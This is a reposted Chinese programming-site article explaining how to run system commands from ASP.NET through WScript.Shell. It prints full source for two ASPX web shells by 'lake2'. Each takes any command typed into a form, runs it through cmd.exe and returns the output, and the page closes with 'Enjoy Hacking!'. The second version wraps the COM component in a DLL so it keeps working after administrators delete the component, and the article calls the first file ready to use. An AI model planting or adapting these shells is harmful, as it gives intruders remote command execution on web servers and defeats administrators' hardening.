广

ASP.NET

  • IOS开发
  • android开发
  • PHP编程
  • JavaScript
  • ASP.NET
  • ASP编程
  • JSP编程
  • Java编程
  • 易语言
  • Ruby编程
  • Perl编程
  • AJAX
  • 正则表达式
  • C语言
  • 编程开发

    ASP.NET下使用WScript.Shell执行命令

    2018-05-07 10:24:41 次阅读 稿源:互联网
    广告

    ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。

    ·Server对象的CreatObject方法
    这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
    <!--
    Titel: WScript.Shell .NET Version 1
    Author: lake2
    Mail: lake2@mail.csdn.net
    Site: http://lake2.0×54.org
    Thanks: Internet
    Date: 2005-8-20
    >
    <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
    <script runat="server">
    sub runcmd(Src As Object, E As EventArgs)
    Dim StrResult As String
    Dim CMDShell As Object
    CMDShell = Server.CreateObject("WScript.Shell")
    StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
    StrResult = Replace(StrResult , "<","<")
    StrResult = Replace(StrResult , ">",">")
    ResultLabel.Text = "<pre>" & StrResult & "</pre>"
    end sub
    </script>
    <html>
    <head><title>WSH.SHell For ASP.NET By lake2</title></head>
    <body>
    <form runat="server">
    "cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> 
    <br>
    Your Command:  <asp:TextBox ID="CMDBox" Width="200" runat="server" /> 
    <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
    <br>
    <asp:Label ID="ResultLabel" runat="server" /> 
    </form>
    <div style="text-align:center">——— <font color="#0000FF">Enjoy Hacking!</font> ———
    </div>
    <hr width="50%">
    </body>
    </html>
    保存为aspx文件,访问之,即可。

    ·将COM组件转化为.NET组件
    微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
    虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
    WScript.Shell对象是%windir%/system32/WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
    然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。

    <!--
    Titel: WScript.Shell .NET Version 2
    Author: lake2
    Mail: lake2@mail.csdn.net
    Site: http://lake2.0×54.org
    Thanks: Internet
    Date: 2005-8-20
    >
    <%@ Page Language="VB" validateRequest="false"%>
    <script runat="server">
    sub runcmd(Src As Object, E As EventArgs)
    Dim StrResult As String
    Dim CMDShell As New WSHomx.WshShell
    ……
    (后同代码1)
    现在访问之,看看效果吧:)

    同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
    (文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

    一起学吧部分文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与一起学吧进行文章共享合作。

    广告
    广告
    广告